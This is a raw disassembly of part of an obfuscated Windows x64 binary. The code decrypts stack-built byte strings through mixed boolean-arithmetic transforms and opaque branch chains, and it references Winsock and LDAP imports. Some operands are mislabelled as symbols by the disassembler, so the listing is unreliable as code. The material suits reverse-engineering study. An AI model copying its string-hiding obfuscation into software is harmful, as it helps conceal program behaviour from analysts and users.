movabs rcx, 0x9a85bca739d18c12
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7e
jmp 0x140120a53
movabs rdx, 0x31bc64311980951a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x730], cl
add r11, r15
jmp 0x140120a9d
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
sub r10, r15
jmp 0x140120b85
mov r9, r8
movabs rdx, 0xf7605aceb88db032
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x730], al
add r11, r15
add rax, r11
sub r10, rax
jmp 0x140120b20
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
mov r9b, r8b
add bl, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x730], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140120b76
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x730]
add rax, r11
add r10, rax
add r10, r15
jmp 0x14011ffc6
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011ffc3
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011ffb3
lea rdx, [rbp + 0x15982d8]
jmp 0x140120bf2
lea rdx, [rbp + 0x16dc096]
jmp 0x140120bf2
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x400]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x19f0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140120c27
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x19f0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x19f0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x19f0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x8f0], 0xe3
mov byte [rbp + 0x8f1], 0xad
mov byte [rbp + 0x8f2], 0xec
mov byte [rbp + 0x8f3], 0xab
mov byte [rbp + 0x8f4], recv
mov byte [rbp + 0x8f5], 0xa9
mov byte [rbp + 0x8f6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x8f8], 0x3d
mov byte [rbp + 0x8f9], __WSAFDIsSet
mov byte [rbp + 0x8fa], 0
mov byte [rbp + 0x8fb], __WSAFDIsSet
mov byte [rbp + 0x8fc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x8fd], __WSAFDIsSet
mov byte [rbp + 0x8fe], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8ff], 0x9f
mov byte [rbp + 0x900], 7
mov byte [rbp + 0x901], 0x9d
mov byte [rbp + 0x902], 5
mov byte [rbp + 0x903], 0x9b
mov byte [rbp + 0x904], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x905], 0x99
mov byte [rbp + 0x906], Ordinal_46
mov byte [rbp + 0x907], 0x87
mov byte [rbp + 0x908], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x909], 0x85
mov byte [rbp + 0x90a], Ordinal_217
mov byte [rbp + 0x90b], 0x83
mov byte [rbp + 0x90c], 0x3d
mov byte [rbp + 0x90d], 0x81
mov byte [rbp + 0x90e], Ordinal_50
mov byte [rbp + 0x90f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x910], Ordinal_46
mov byte [rbp + 0x911], Ordinal_143
mov byte [rbp + 0x912], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x913], Ordinal_143
mov byte [rbp + 0x914], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x915], Ordinal_143
mov byte [rbp + 0x916], 0x64
mov byte [rbp + 0x917], 0xf7
mov byte [rbp + 0x918], 0x5c
mov byte [rbp + 0x919], 0xf5
mov byte [rbp + 0x91a], 0x62
mov byte [rbp + 0x91b], 0xf3
mov byte [rbp + 0x91c], 0xaa
mov byte [rbp + 0x91d], 0xf1
mov byte [rbp + 0x91e], 0xa2
mov byte [rbp + 0x91f], 0xff
mov byte [rbp + 0x920], 0xae
mov byte [rbp + 0x921], 0xfd
mov byte [rbp + 0x922], 0x57
mov byte [rbp + 0x923], 0xfb
mov byte [rbp + 0x924], 0x60
mov byte [rbp + 0x925], 0xf9
mov byte [rbp + 0x926], Ordinal_79
mov byte [rbp + 0x927], 0xe7
mov byte [rbp + 0x928], 0xb6
mov byte [rbp + 0x929], 0xe5
mov byte [rbp + 0x92a], 0x77
mov byte [rbp + 0x92b], 0xe3
mov byte [rbp + 0x92c], 0x7d
mov byte [rbp + 0x92d], 0xe1
mov byte [rbp + 0x92e], 0x47
mov byte [rbp + 0x92f], 0xef
mov byte [rbp + 0x930], 0xec
mov byte [rbp + 0x931], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x932], xmm0
mov qword [rbp + 0x942], rax
mov byte [rbp + 0x94a], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x1401219e5
movzx r9d, byte [rbp + r10 + 0x8f0]
mov r8, r9
cmp rdi, r10
ja 0x1401219dc
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140120eae
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x140120ef2
je 0x140121956
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401218cb
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140121895
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14012184b
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140121822
movabs rsi, 0xfa317cbfea226b1a
cmp r11, r10
ja 0x1401219d3
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x140120f18
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401210ff
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401217de
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401217bf
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14012179c
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140121779
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140121486
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140121463
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14012144f
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14012142c
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14012140b
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401213f7
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401213d5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401213af
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14012138d
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x140121379
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x140120f59
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x1401219b1
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14012198b
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140121139
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140121116
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401210f0
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14012131e
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401212c3
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140121275
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140121253
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140121231
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14012120d
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x1401211eb
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401211d7
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401211b5
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401211a3
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x140121180
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14012115f
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140120f59
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x140120f59
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120f4c
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140120ef2
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120e76
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1401217fa
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 4
jmp 0x140121840
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, r12d
jmp 0x1401215c3
movabs rcx, 0x5350f17229c7c674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140121869
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401218a4
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401218b9
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401218ed
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14012191f
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x140121974
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
cmp r11, 0x41
jb 0x14012171a
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401217fc
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x140121727
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x140121660
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x140121292
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x140121750
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x14012157e
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401212e4
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1401214c2
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14012191f
movabs rdx, 0x3b95737594670a64
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401218ef
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x1401218b9
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401218a4
movabs rdx, 0x5e6c86f6179887c8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140121867
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140121843
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140121567
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401217fc
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401214aa
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012133b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401214d9
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121974
cmp rdi, rcx
jne 0x1401214f2
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
jmp 0x14012121c
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14012151f
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140121867
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14012154b
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x64
jmp 0x140121843
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14012133b
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121840
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401215ab
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401217fa
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401215da
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121843
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140121606
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7a
jmp 0x1401218b6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140121630
movabs rdx, 0x4c7f8c399815609e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x1401218ed
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401212e4
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x140121974
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14012167d
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401214c2
cmp rdi, rcx
jne 0x1401216a3
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x24
jmp 0x140121795
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401216cf
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401218b6
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401216ec
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140121567
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140121292
movabs rdx, 0xbb54baf77571d628
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x1401217fa
mov byte [rbp + r10 + 0x8f0], bl
jmp 0x140121983
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x8f0]
jmp 0x140121517
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x8f0]
sub bl, 0x5c
jmp 0x1401218ed
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14012191f
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x1401218b9
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x140121843
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0x8f0], cl
jmp 0x140121840
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x16
add r11, r15
sub r10, r15
jmp 0x140121983
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0x8f0], cl
jmp 0x1401218b6
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140121983
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x8f0], al
add r11, r15
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x8f0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140121974
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0x8f0]
add rax, r11
add r10, rax
add r10, r15
jmp 0x140120e63
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120e60
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x140120e50
lea rdx, [rbp + 0x15ffe68]
jmp 0x1401219ec
lea rdx, [rbp + 0x1026982]
jmp 0x1401219ec
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0x420]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b00]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140121a21
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1b00]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1b00]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1b00]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x560], Ordinal_60
mov byte [rbp + 0x561], Ordinal_143
mov byte [rbp + 0x562], 0x61
mov byte [rbp + 0x563], 0xf3
mov byte [rbp + 0x564], 0x5a
mov byte [rbp + 0x565], 0xf1
mov byte [rbp + 0x566], 0x62
mov byte [rbp + 0x567], 0xf7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x569], 0xf5
mov byte [rbp + 0x56a], 0x5b
mov byte [rbp + 0x56b], 0xfb
mov byte [rbp + 0x56c], WSACleanup
mov byte [rbp + 0x56d], 0xf9
mov byte [rbp + 0x56e], 0x5b
mov byte [rbp + 0x56f], 0xff
mov byte [rbp + 0x570], 0x40
mov byte [rbp + 0x571], 0xfd
mov byte [rbp + 0x572], 0x59
mov byte [rbp + 0x573], 0xe3
mov byte [rbp + 0x574], Ordinal_79
mov byte [rbp + 0x575], 0xe1
mov byte [rbp + 0x576], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x577], 0xe7
mov byte [rbp + 0x578], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x579], 0xe5
mov byte [rbp + 0x57a], 0x7f
mov byte [rbp + 0x57b], 0xeb
mov byte [rbp + 0x57c], 0x7a
mov byte [rbp + 0x57d], 0xe9
mov byte [rbp + 0x57e], Ordinal_79
mov byte [rbp + 0x57f], 0xef
mov byte [rbp + 0x580], 0x7a
mov byte [rbp + 0x581], 0xed
mov byte [rbp + 0x582], 0x88
mov byte [rbp + 0x583], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x584], 0x84
mov byte [rbp + 0x585], Ordinal_211
mov byte [rbp + 0x586], Ordinal_217
mov byte [rbp + 0x587], Ordinal_217
xor eax, eax
mov qword [rbp + 0x588], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x140122707
movzx r8d, byte [rbp + r9 + 0x560]
mov rdx, r8
cmp rdi, r9
ja 0x1401226fe
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140121be2
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x140121c26
je 0x14012267d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401225f5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401225c8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14012257d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14012252c
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401226f5
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140121c4c
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140121e61
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14012251a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401224f7
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401224d1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401224ab
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012248d
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14012217c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14012215b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140122135
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140122112
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401220fe
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401220db
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401220b8
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401220a4
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140122081
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14012206d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140121c9a
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401226d2
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401226af
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140121e9b
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140121e78
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140121e52
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14012204c
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14012202b
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140122007
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140121fdc
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140121c9a
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140121fc8
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140121fa7
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140121f86
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140121f72
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140121f4f
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140121f2b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140121f08
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140121ee5
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140121ec1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140121c9a
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140121c9a
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140121c8d
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140121c26
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
